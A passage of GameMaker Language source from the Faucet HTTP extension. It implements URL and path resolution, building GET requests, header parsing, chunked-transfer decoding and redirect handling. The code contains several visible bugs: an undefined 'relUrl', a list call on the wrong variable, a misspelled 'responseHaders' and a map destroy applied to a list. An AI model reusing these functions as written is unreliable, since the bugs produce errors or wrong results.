__http_parse_url(baseUrl);\r\nif (urlParts == -1)\r\n    return '';\r\n\r\n// Try to parse reference URL\r\nvar refUrlParts, canParseRefUrl;\r\nrefUrlParts = __http_parse_url(refUrl);\r\ncanParseRefUrl = (refUrlParts != -1);\r\nif (refUrlParts != -1)\r\n    ds_map_destroy(refUrlParts);\r\n\r\nvar result;\r\nresult = '';\r\n\r\n// Parsing of reference URL succeeded - it's absolute and we're done\r\nif (canParseRefUrl)\r\n{\r\n    result = refUrl;\r\n}\r\n// Begins with '//' - scheme-relative URL\r\nelse if (string_copy(refUrl, 1, 2) == '//' and string_length(refUrl) > 2)\r\n{\r\n    result = ds_map_find_value(urlParts, 'scheme') + ':' + refUrl;\r\n}\r\n// Is or begins with '/' - absolute path relative URL\r\nelse if (((string_char_at(refUrl, 1) == '/' and string_length(refUrl) > 1) or refUrl == '/')\r\n// Doesn't begin with ':' and is not blank - relative path relative URL\r\n    or (string_char_at(refUrl, 1) != ':' and string_length(refUrl) > 0)) \r\n{\r\n    // Find '?' for query\r\n    var queryPos;\r\n    queryPos = string_pos('?', refUrl);\r\n    // No query\r\n    if (queryPos == 0)\r\n    {\r\n        refUrl = __http_resolve_path(ds_map_find_value(urlParts, 'abs_path'), refUrl);\r\n        ds_map_replace(urlParts, 'abs_path', refUrl);\r\n        if (ds_map_exists(urlParts, 'query'))\r\n            ds_map_delete(urlParts, 'query');\r\n    }\r\n    // Query exists, split\r\n    else\r\n    {\r\n        var path, query;\r\n        path = string_copy(refUrl, 1, queryPos - 1);\r\n        query = string_copy(refUrl, queryPos + 1, string_length(relUrl) - queryPos);\r\n        path = __http_resolve_path(ds_map_find_value(urlParts, 'abs_path'), path);\r\n        ds_map_replace(urlParts, 'abs_path', path);\r\n        if (ds_map_exists(urlParts, 'query'))\r\n            ds_map_replace(urlParts, 'query', query);\r\n        else\r\n            ds_map_add(urlParts, 'query', query);\r\n    }\r\n    result = __http_construct_url(urlParts);\r\n}\r\n\r\nds_map_destroy(urlParts);\r\nreturn result;\r\n\r\n#define __http_resolve_path\r\n// ***\r\n// This function forms part of Faucet HTTP v1.0\r\n// https://github.com/TazeTSchnitzel/Faucet-HTTP-Extension\r\n// \r\n// Copyright (c) 2013-2014, Andrea Faulds <ajf@ajf.me>\r\n// \r\n// Permission to use, copy, modify, and/or distribute this software for any\r\n// purpose with or without fee is hereby granted, provided that the above\r\n// copyright notice and this permission notice appear in all copies.\r\n// \r\n// THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\r\n// WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\r\n// MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\r\n// ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\r\n// WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\r\n// ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\r\n// OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\r\n// ***\r\n\r\n// Takes a base path and a path reference and applies it to the base path\r\n// Returns resulting absolute path\r\n// string __http_resolve_path(string basePath, string refPath)\r\n\r\n// Return value is a string containing the new absolute path\r\n\r\n// Deals with UNIX-style / paths, not Windows-style \\ paths\r\n// Can be used to clean up .. and . in non-absolute paths too ('' as basePath)\r\n\r\nvar basePath, refPath;\r\nbasePath = argument0;\r\nrefPath = argument1;\r\n\r\n// refPath begins with '/' (is absolute), we can ignore all of basePath\r\nif (string_char_at(refPath, 1) == '/')\r\n{\r\n    basePath = refPath;\r\n    refPath = '';\r\n}\r\n\r\nvar parts, refParts;\r\nparts = __http_split(basePath, '/', 0);\r\nrefParts = __http_split(refPath, '/', 0);\r\n\r\nif (refPath != '')\r\n{\r\n    // Find last part of base path\r\n    var lastPart;\r\n    lastPart = ds_list_find_value(parts, ds_list_size(parts) - 1);\r\n\r\n    // If it's not blank (points to a file), remove it\r\n    if (lastPart != '')\r\n    {\r\n        ds_list_delete(parts, ds_list_size(parts) - 1);\r\n    }\r\n    \r\n    // Concatenate refParts to end of parts\r\n    var i;\r\n    for (i = 0; i < ds_list_size(refParts); i += 1)\r\n        ds_list_add(parts, ds_list_find_value(refParts, i));\r\n}\r\n\r\n// We now don't need refParts any more\r\nds_list_destroy(refParts);\r\n\r\n// Deal with '..' and '.'\r\nfor (i = 0; i < ds_list_size(parts); i += 1)\r\n{\r\n    var part;\r\n    part = ds_list_find_value(parts, i);\r\n\r\n    if (part == '.')\r\n    {\r\n        if (i == 1 or i == ds_list_size(parts) - 1)\r\n            ds_list_replace(parts, i, '');\r\n        else\r\n            ds_list_delete(parts, i);\r\n        i -= 1;\r\n        continue;\r\n    }\r\n    else if (part == '..')\r\n    {\r\n        if (i > 1)\r\n        {\r\n            ds_list_delete(parts, i - 1);\r\n            ds_list_delete(part, i);\r\n            i -= 2;\r\n        }\r\n        else\r\n        {\r\n            ds_list_replace(parts, i, '');\r\n            i -= 1;\r\n        }\r\n        continue;\r\n    }\r\n    else if (part == '' and i != 0 and i != ds_list_size(parts) - 1)\r\n    {\r\n        ds_list_delete(parts, i);\r\n        i -= 1;\r\n        continue;\r\n    }\r\n}\r\n\r\n// Reconstruct path from parts\r\nvar path;\r\npath = '';\r\nfor (i = 0; i < ds_list_size(parts); i += 1)\r\n{\r\n    if (i != 0)\r\n        path += '/';\r\n    path += ds_list_find_value(parts, i);\r\n}\r\n\r\nds_map_destroy(parts);\r\nreturn path;\r\n\r\n#define __http_parse_hex\r\n// ***\r\n// This function forms part of Faucet HTTP v1.0\r\n// https://github.com/TazeTSchnitzel/Faucet-HTTP-Extension\r\n// \r\n// Copyright (c) 2013-2014, Andrea Faulds <ajf@ajf.me>\r\n// \r\n// Permission to use, copy, modify, and/or distribute this software for any\r\n// purpose with or without fee is hereby granted, provided that the above\r\n// copyright notice and this permission notice appear in all copies.\r\n// \r\n// THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\r\n// WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\r\n// MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\r\n// ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\r\n// WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\r\n// ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\r\n// OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\r\n// ***\r\n\r\n// Takes a lowercase hexadecimal string and returns its integer value\r\n// real __http_parse_hex(string hexString)\r\n\r\n// Return value is the whole number value (or -1 if invalid)\r\n// Only works for whole numbers (non-fractional numbers >= 0) and lowercase hex\r\n\r\nvar hexString;\r\nhexString = argument0;\r\n\r\nvar result, hexValues;\r\nresult = 0;\r\nhexValues = \"0123456789abcdef\";\r\n\r\nvar i;\r\nfor (i = 1; i <= string_length(hexString); i += 1) {\r\n    result *= 16;\r\n    var digit;\r\n    digit = string_pos(string_char_at(hexString, i), hexValues) - 1;\r\n    if (digit == -1)\r\n        return -1;\r\n    result += digit;\r\n}\r\n\r\nreturn result;\r\n\r\n#define __http_construct_url\r\n// ***\r\n// This function forms part of Faucet HTTP v1.0\r\n// https://github.com/TazeTSchnitzel/Faucet-HTTP-Extension\r\n// \r\n// Copyright (c) 2013-2014, Andrea Faulds <ajf@ajf.me>\r\n// \r\n// Permission to use, copy, modify, and/or distribute this software for any\r\n// purpose with or without fee is hereby granted, provided that the above\r\n// copyright notice and this permission notice appear in all copies.\r\n// \r\n// THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\r\n// WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\r\n// MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\r\n// ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\r\n// WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\r\n// ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\r\n// OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\r\n// ***\r\n\r\n// Constructs an URL from its components (as http_parse_url would return)\r\n// string __http_construct_url(real parts)\r\n\r\n// Return value is the string of the constructed URL\r\n// Keys of parts map:\r\n// \"scheme\" - the URL scheme (e.g. \"http\")\r\n// \"host\" - the hostname (e.g. \"example.com\" or \"127.0.0.1\")\r\n// \"port\" - the port (e.g. 8000) - this is a real, unlike the others\r\n// \"abs_path\" - the absolute path (e.g. \"/\" or \"/index.html\")\r\n// \"query\" - the query string (e.g. \"a=b&c=3\")\r\n// Parts which are omitted will be omitted in the URL\r\n// e.g. http://example.com lacks \"port\", \"path\" or \"query\" keys\r\n\r\n// This will *only* work properly for URLs of format:\r\n// scheme \":\" \"//\" host [ \":\" port ] [ abs_path [ \"?\" query ]]\"\r\n// where [] denotes an optional component\r\n// file: URLs will *not* work as they lack the authority (host:port) component\r\n// Should work correctly for IPv6 host values, but bare in mind parse_url won't\r\n\r\nvar parts;\r\nparts = argument0;\r\n\r\nvar url;\r\nurl = '';\r\n\r\nurl += ds_map_find_value(parts, 'scheme');\r\nurl += '://';\r\nurl += ds_map_find_value(parts, 'host');\r\nif (ds_map_exists(parts, 'port'))\r\n    url += ':' + string(ds_map_find_value(parts, 'port'));\r\nif (ds_map_exists(parts, 'abs_path'))\r\n{\r\n    url += ds_map_find_value(parts, 'abs_path');\r\n    if (ds_map_exists(parts, 'query'))\r\n        url += '?' + ds_map_find_value(parts, 'query');\r\n}\r\n\r\nreturn url;\r\n\r\n#define __http_prepare_request\r\n// ***\r\n// This function forms part of Faucet HTTP v1.0\r\n// https://github.com/TazeTSchnitzel/Faucet-HTTP-Extension\r\n// \r\n// Copyright (c) 2013-2014, Andrea Faulds <ajf@ajf.me>\r\n// \r\n// Permission to use, copy, modify, and/or distribute this software for any\r\n// purpose with or without fee is hereby granted, provided that the above\r\n// copyright notice and this permission notice appear in all copies.\r\n// \r\n// THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\r\n// WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\r\n// MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\r\n// ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\r\n// WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\r\n// ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\r\n// OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\r\n// ***\r\n\r\n// Internal function - prepares request\r\n// void __http_prepare_request(real client, string url, real headers)\r\n\r\n// client - HttpClient object to prepare\r\n// url - URL to send GET request to\r\n// headers - ds_map of extra headers to send, -1 if none\r\n\r\nvar client, url, headers;\r\nclient = argument0;\r\nurl = argument1;\r\nheaders = argument2;\r\n\r\nvar parsed;\r\nparsed = __http_parse_url(url);\r\n\r\nif (parsed == -1)\r\n    show_error(\"Error when making HTTP GET request - can't parse URL: \" + url, true);\r\n\r\nif (!ds_map_exists(parsed, 'port'))\r\n    ds_map_add(parsed, 'port', 80);\r\nif (!ds_map_exists(parsed, 'abs_path'))\r\n    ds_map_add(parsed, 'abs_path', '/');\r\n\r\nwith (client)\r\n{\r\n    destroyed = false;\r\n    CR = chr(13);\r\n    LF = chr(10);\r\n    CRLF = CR + LF;\r\n    socket = tcp_connect(ds_map_find_value(parsed, 'host'), ds_map_find_value(parsed, 'port'));\r\n    state = 0;\r\n    errored = false;\r\n    error = '';\r\n    linebuf = '';\r\n    line = 0;\r\n    statusCode = -1;\r\n    reasonPhrase = '';\r\n    responseBody = buffer_create();\r\n    responseBodySize = -1;\r\n    responseBodyProgress = -1;\r\n    responseHeaders = ds_map_create();\r\n    requestUrl = url;\r\n    requestHeaders = headers;\r\n\r\n    //  Request       = Request-Line              ; Section 5.1\r\n    //                  *(( general-header        ; Section 4.5\r\n    //                   | request-header         ; Section 5.3\r\n    //                   | entity-header ) CRLF)  ; Section 7.1\r\n    //                  CRLF\r\n    //                  [ message-body ]          ; Section 4.3\r\n\r\n    // \"The Request-Line begins with a method token, followed by the\r\n    // Request-URI and the protocol version, and ending with CRLF. The\r\n    // elements are separated by SP characters. No CR or LF is allowed\r\n    // except in the final CRLF sequence.\"\r\n    if (ds_map_exists(parsed, 'query'))\r\n        write_string(socket, 'GET ' + ds_map_find_value(parsed, 'abs_path') + '?' + ds_map_find_value(parsed, 'query') + ' HTTP/1.1' + CRLF);\r\n    else\r\n        write_string(socket, 'GET ' + ds_map_find_value(parsed, 'abs_path') + ' HTTP/1.1' + CRLF);\r\n\r\n    // \"A client MUST include a Host header field in all HTTP/1.1 request\r\n    // messages.\"\r\n    // \"A \"host\" without any trailing port information implies the default\r\n    // port for the service requested (e.g., \"80\" for an HTTP URL).\"\r\n    if (ds_map_find_value(parsed, 'port') == 80)\r\n        write_string(socket, 'Host: ' + ds_map_find_value(parsed, 'host') + CRLF);\r\n    else\r\n        write_string(socket, 'Host: ' + ds_map_find_value(parsed, 'host')\r\n            + ':' + string(ds_map_find_value(parsed, 'port')) + CRLF);\r\n\r\n    // \"An HTTP/1.1 server MAY assume that a HTTP/1.1 client intends to\r\n    // maintain a persistent connection unless a Connection header including\r\n    // the connection-token \"close\" was sent in the request.\"\r\n    write_string(socket, 'Connection: close' + CRLF);\r\n\r\n    // \"If no Accept-Encoding field is present in a request, the server MAY\r\n    // assume that the client will accept any content coding.\"\r\n    write_string(socket, 'Accept-Encoding:' + CRLF);\r\n    \r\n    // If headers specified\r\n    if (headers != -1)\r\n    {\r\n        var key;\r\n        // Iterate over headers map\r\n        for (key = ds_map_find_first(headers); is_string(key); key = ds_map_find_next(headers, key))\r\n        {\r\n            write_string(socket, key + ': ' + ds_map_find_value(headers, key) + CRLF);\r\n        }\r\n    }\r\n    \r\n    // Send extra CRLF to terminate request\r\n    write_string(socket, CRLF);\r\n    \r\n    socket_send(socket);\r\n\r\n    ds_map_destroy(parsed);\r\n}\r\n\r\n#define __http_parse_header\r\n// ***\r\n// This function forms part of Faucet HTTP v1.0\r\n// https://github.com/TazeTSchnitzel/Faucet-HTTP-Extension\r\n// \r\n// Copyright (c) 2013-2014, Andrea Faulds <ajf@ajf.me>\r\n// \r\n// Permission to use, copy, modify, and/or distribute this software for any\r\n// purpose with or without fee is hereby granted, provided that the above\r\n// copyright notice and this permission notice appear in all copies.\r\n// \r\n// THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\r\n// WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\r\n// MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\r\n// ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\r\n// WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\r\n// ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\r\n// OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\r\n// ***\r\n\r\n// Internal function - parses header\r\n// real __http_parse_header(string linebuf, real line)\r\n// Returns false if it errored (caller should return and destroy)\r\n\r\nvar linebuf, line;\r\nlinebuf = argument0;\r\nline = argument1;\r\n\r\n// \"HTTP/1.1 header field values can be folded onto multiple lines if the\r\n// continuation line begins with a space or horizontal tab.\"\r\nif ((string_char_at(linebuf, 1) == ' ' or ord(string_char_at(linebuf, 1)) == 9))\r\n{\r\n    if (line == 1)\r\n    {\r\n        errored = true;\r\n        error = \"First header line of response can't be a continuation, right?\";\r\n        return false;\r\n    }\r\n    headerValue = ds_map_find_value(responseHeaders, string_lower(headerName))\r\n        + string_copy(linebuf, 2, string_length(linebuf) - 1);\r\n}\r\n// \"Each header field consists\r\n// of a name followed by a colon (\":\") and the field value. Field names\r\n// are case-insensitive. The field value MAY be preceded by any amount\r\n// of LWS, though a single SP is preferred.\"\r\nelse\r\n{\r\n    var colonPos;\r\n    colonPos = string_pos(':', linebuf);\r\n    if (colonPos == 0)\r\n    {\r\n        errored = true;\r\n        error = \"No colon in a header line of response\";\r\n        return false;\r\n    }\r\n    headerName = string_copy(linebuf, 1, colonPos - 1);\r\n    headerValue = string_copy(linebuf, colonPos + 1, string_length(linebuf) - colonPos);\r\n    // \"The field-content does not include any leading or trailing LWS:\r\n    // linear white space occurring before the first non-whitespace\r\n    // character of the field-value or after the last non-whitespace\r\n    // character of the field-value. Such leading or trailing LWS MAY be\r\n    // removed without changing the semantics of the field value.\"\r\n    while (string_char_at(headerValue, 1) == ' ' or ord(string_char_at(headerValue, 1)) == 9)\r\n        headerValue = string_copy(headerValue, 2, string_length(headerValue) - 1);\r\n}\r\n\r\nds_map_add(responseHeaders, string_lower(headerName), headerValue);\r\n\r\nif (string_lower(headerName) == 'content-length')\r\n{\r\n    responseBodySize = real(headerValue);\r\n    responseBodyProgress = 0;\r\n}\r\n\r\nreturn true;\r\n\r\n#define __http_client_step\r\n// ***\r\n// This function forms part of Faucet HTTP v1.0\r\n// https://github.com/TazeTSchnitzel/Faucet-HTTP-Extension\r\n// \r\n// Copyright (c) 2013-2014, Andrea Faulds <ajf@ajf.me>\r\n// \r\n// Permission to use, copy, modify, and/or distribute this software for any\r\n// purpose with or without fee is hereby granted, provided that the above\r\n// copyright notice and this permission notice appear in all copies.\r\n// \r\n// THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\r\n// WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\r\n// MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\r\n// ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\r\n// WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\r\n// ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\r\n// OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\r\n// ***\r\n\r\n// Steps the HTTP client (needs to be called each step or so)\r\n\r\nvar client;\r\nclient = argument0;\r\n\r\nwith (client)\r\n{\r\n    if (errored)\r\n        exit;\r\n    \r\n    // Socket error\r\n    if (socket_has_error(socket))\r\n    {\r\n        errored = true;\r\n        error = \"Socket error: \" + socket_error(socket);\r\n        return __http_client_destroy();\r\n    }\r\n    \r\n    var available;\r\n    available = tcp_receive_available(socket);\r\n    \r\n    switch (state)\r\n    {\r\n    // Receiving lines\r\n    case 0:\r\n        if (!available && tcp_eof(socket))\r\n        {\r\n            errored = true;\r\n            error = \"Unexpected EOF when receiving headers/status code\";\r\n            return __http_client_destroy();\r\n        }\r\n    \r\n        var bytesRead, c;\r\n        for (bytesRead = 1; bytesRead <= available; bytesRead += 1)\r\n        {\r\n            c = read_string(socket, 1);\r\n            // Reached end of line\r\n            // \"HTTP/1.1 defines the sequence CR LF as the end-of-line marker for all\r\n            // protocol elements except the entity-body (see appendix 19.3 for\r\n            // tolerant applications).\"\r\n            if (c == LF and string_char_at(linebuf, string_length(linebuf)) == CR)\r\n            {\r\n                // Strip trailing CR\r\n                linebuf = string_copy(linebuf, 1, string_length(linebuf) - 1);\r\n                // First line - status code\r\n                if (line == 0)\r\n                {\r\n                    // \"The first line of a Response message is the Status-Line, consisting\r\n                    // of the protocol version followed by a numeric status code and its\r\n                    // associated textual phrase, with each element separated by SP\r\n                    // characters. No CR or LF is allowed except in the final CRLF sequence.\"\r\n                    var httpVer, spacePos;\r\n                    spacePos = string_pos(' ', linebuf);\r\n                    if (spacePos == 0)\r\n                    {\r\n                        errored = true;\r\n                        error = \"No space in first line of response\";\r\n                        return __http_client_destroy();\r\n                    }\r\n                    httpVer = string_copy(linebuf, 1, spacePos);\r\n                    linebuf = string_copy(linebuf, spacePos + 1, string_length(linebuf) - spacePos);\r\n    \r\n                    spacePos = string_pos(' ', linebuf);\r\n                    if (spacePos == 0)\r\n                    {\r\n                        errored = true;\r\n                        error = \"No second space in first line of response\";\r\n                        return __http_client_destroy();\r\n                    }\r\n                    statusCode = real(string_copy(linebuf, 1, spacePos));\r\n                    reasonPhrase = string_copy(linebuf, spacePos + 1, string_length(linebuf) - spacePos);\r\n                }\r\n                // Other line\r\n                else\r\n                {\r\n                    // Blank line, end of response headers\r\n                    if (linebuf == '')\r\n                    {\r\n                        state = 1;\r\n                        // write remainder\r\n                        write_buffer_part(responseBody, socket, available - bytesRead);\r\n                        responseBodyProgress = available - bytesRead;\r\n                        break;\r\n                    }\r\n                    // Header\r\n                    else\r\n                    {\r\n                        if (!__http_parse_header(linebuf, line))\r\n                            return __http_client_destroy();\r\n                    }\r\n                }\r\n    \r\n                linebuf = '';\r\n                line += 1;\r\n            }\r\n            else\r\n                linebuf += c;\r\n        }\r\n        break;\r\n    // Receiving response body\r\n    case 1:\r\n        write_buffer(responseBody, socket);\r\n        responseBodyProgress += available;\r\n        if (tcp_eof(socket))\r\n        {\r\n            if (ds_map_exists(responseHeaders, 'transfer-encoding'))\r\n            {\r\n                if (ds_map_find_value(responseHeaders, 'transfer-encoding') == 'chunked')\r\n                {\r\n                    // Chunked transfer, let's decode it\r\n                    var actualResponseBody, actualResponseSize;\r\n                    actualResponseBody = buffer_create();\r\n                    actualResponseBodySize = 0;\r\n\r\n                    // Parse chunks\r\n                    // chunk          = chunk-size [ chunk-extension ] CRLF\r\n                    //                  chunk-data CRLF\r\n                    // chunk-size     = 1*HEX\r\n                    while (buffer_bytes_left(responseBody))\r\n                    {\r\n                        var chunkSize, c;\r\n                        chunkSize = '';\r\n                        \r\n                        // Read chunk size byte by byte \r\n                        while (buffer_bytes_left(responseBody))\r\n                        {\r\n                            c = read_string(responseBody, 1);\r\n                            if (c == CR or c == ';')\r\n                                break;\r\n                            else\r\n                                chunkSize += c;\r\n                        }\r\n                        \r\n                        // We found a semicolon - beginning of chunk-extension\r\n                        if (c == ';')\r\n                        {\r\n                            // skip all extension stuff\r\n                            while (buffer_bytes_left(responseBody) && c != CR)\r\n                            {\r\n                                c = read_string(responseBody, 1);\r\n                            }\r\n                        }\r\n                        // Reached end of header\r\n                        if (c == CR)\r\n                        {\r\n                            c += read_string(responseBody, 1);\r\n                            // Doesn't end in CRLF\r\n                            if (c != CRLF)\r\n                            {\r\n                                errored = true;\r\n                                error = 'header of chunk in chunked transfer did not end in CRLF';\r\n                                buffer_destroy(actualResponseBody);\r\n                                return __http_client_destroy();\r\n                            }\r\n                            // chunk-size is empty - something's up!\r\n                            if (chunkSize == '')\r\n                            {\r\n                                errored = true;\r\n                                error = 'empty chunk-size in a chunked transfer';\r\n                                buffer_destroy(actualResponseBody);\r\n                                return __http_client_destroy();\r\n                            }\r\n                            chunkSize = __http_parse_hex(chunkSize);\r\n                            // Parsing of size failed - not hex?\r\n                            if (chunkSize == -1)\r\n                            {\r\n                                errored = true;\r\n                                error = 'chunk-size was not hexadecimal in a chunked transfer';\r\n                                buffer_destroy(actualResponseBody);\r\n                                return __http_client_destroy();\r\n                            }\r\n                            // Is the chunk bigger than the remaining response?\r\n                            if (chunkSize + 2 > buffer_bytes_left(responseBody))\r\n                            {\r\n                                errored = true;\r\n                                error = 'chunk-size was greater than remaining data in a chunked transfer';\r\n                                buffer_destroy(actualResponseBody);\r\n                                return __http_client_destroy();\r\n                            }\r\n                            // OK, everything's good, read the chunk\r\n                            write_buffer_part(actualResponseBody, responseBody, chunkSize);\r\n                            actualResponseBodySize += chunkSize;\r\n                            // Check for CRLF\r\n                            if (read_string(responseBody, 2) != CRLF)\r\n                            {\r\n                                errored = true;\r\n                                error = 'chunk did not end in CRLF in a chunked transfer';\r\n                                return __http_client_destroy();\r\n                            }\r\n                        }\r\n                        else\r\n                        {\r\n                            errored = true;\r\n                            error = 'did not find CR after reading chunk header in a chunked transfer, Faucet HTTP bug?';\r\n                            return __http_client_destroy();\r\n                        }\r\n                        // if the chunk size is zero, then it was the last chunk\r\n                        if (chunkSize == 0\r\n                            // trailer headers will be present\r\n                            and ds_map_exists(responseHeaders, 'trailer'))\r\n                        {\r\n                            // Parse header lines\r\n                            var line;\r\n                            line = 1;\r\n                            while (buffer_bytes_left(responseBody))\r\n                            {\r\n                                var linebuf;\r\n                                linebuf = '';\r\n                                while (buffer_bytes_left(responseBody))\r\n                                {\r\n                                    c = read_string(responseBody, 1);\r\n                                    if (c != CR)\r\n                                        linebuf += c;\r\n                                    else\r\n                                        break;\r\n                                }\r\n                                c += read_string(responseBody, 1);\r\n                                if (c != CRLF)\r\n                                {\r\n                                    errored = true;\r\n                                    error = 'trailer header did not end in CRLF in a chunked transfer';\r\n                                    return __http_client_destroy();\r\n                                }\r\n                                if (!__http_parse_header(linebuf, line))\r\n                                    return __http_client_destroy();\r\n                                line += 1;\r\n                            }\r\n                        }\r\n                    }\r\n                    responseBodySize = actualResponseBodySize;\r\n                    buffer_destroy(responseBody);\r\n                    responseBody = actualResponseBody;\r\n                }\r\n                else\r\n                {\r\n                    errored = true;\r\n                    error = 'Unsupported Transfer-Encoding: \"' + ds_map_find_value(responseHaders, 'transfer-encoding') + '\"';\r\n                    return __http_client_destroy();\r\n                }\r\n            }\r\n            else if (responseBodySize != -1)\r\n            {\r\n                if (responseBodyProgress < responseBodySize)\r\n                {\r\n                    errored = true;\r\n                    error = \"Unexpected EOF, response body size is less than expected\";\r\n                    return __http_client_destroy();\r\n                }\r\n            }\r\n            // 301 Moved Permanently/302 Found/303 See Other/307 Moved Temporarily\r\n            if (statusCode == 301 or statusCode == 302 or statusCode == 303 or statusCode == 307)\r\n            {\r\n                if (ds_map_exists(responseHeaders, 'location'))\r\n                {\r\n                    var location, resolved;\r\n                    location = ds_map_find_value(responseHeaders, 'location');\r\n                    resolved = __http_resolve_url(requestUrl, location);\r\n                    // Resolving URL didn't fail and it's http://\r\n                    if (resolved != '' and string_copy(resolved, 1, 7) == 'http://')\r\n                    {\r\n                        // Restart request\r\n                        __http_client_destroy();\r\n                        __http_prepare_request(client, resolved, requestHeaders);\r\n                    }\r\n                    else\r\n                    {\r\n                        errored = true;\r\n                        error = \"301, 302, 303 or 307 response with invalid or unsupported Location URL ('\" + location +  \"') - can't redirect\";\r\n                        return __http_client_destroy();\r\n                    }\r\n                    exit;\r\n                }\r\n                else\r\n                {\r\n                    errored = true;\r\n                    error = \"301, 302, 303 or 307 response without Location header - can't redirect\";\r\n                    return __http_client_destroy();\r\n                }\r\n            }\r\n            else\r\n                state = 2;\r\n        }\r\n        break;\r\n    // Done.\r\n    case 2:\r\n        break;\r\n    }\r\n}\r\n\r\n#define __http_client_destroy\r\n// ***\r\n// This function forms part of Faucet HTTP v1.0\r\n// https://github.com/TazeTSchnitzel/Faucet-HTTP-Extension\r\n// \r\n// Copyright (c) 2013-2014, Andrea Faulds <ajf@ajf.me>\r\n// \r\n// Permission to use, copy, modify, and/or distribute this software for any\r\n// purpose with or without fee is hereby granted, provided that the above\r\n// copyright notice and this permission notice appear in all copies.\r\n// \r\n// THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\r\n// WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\r\n// MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\r\n// ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\r\n// WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\r\n// ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\r\n// OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\r\n// ***\r\n\r\n// Clears up contents of an httpClient prior to destruction or after error\r\n\r\nif (!destroyed) {\r\n    socket_destroy(socket);\r\n    buffer_destroy(responseBody);\r\n    ds_map_destroy(responseHeaders);\r\n}\r\ndestroyed = true;\r\n\r\n#define http_new_get\r\n// ***\r\n// This function forms part of Faucet HTTP v1.0\r\n// https://github.com/TazeTSchnitzel/Faucet-HTTP-Extension\r\n// \r\n// Copyright (c) 2013-2014, Andrea Faulds <ajf@ajf.me>\r\n// \r\n// Permission to use, copy, modify, and/or distribute this software for any\r\n// purpose with or without fee is hereby granted, provided that the above\r\n// copyright notice and this permission notice appear in all copies.\r\n// \r\n// THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\r\n// WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\r\n// MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\r\n// ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\r\n// WHATSOEVER 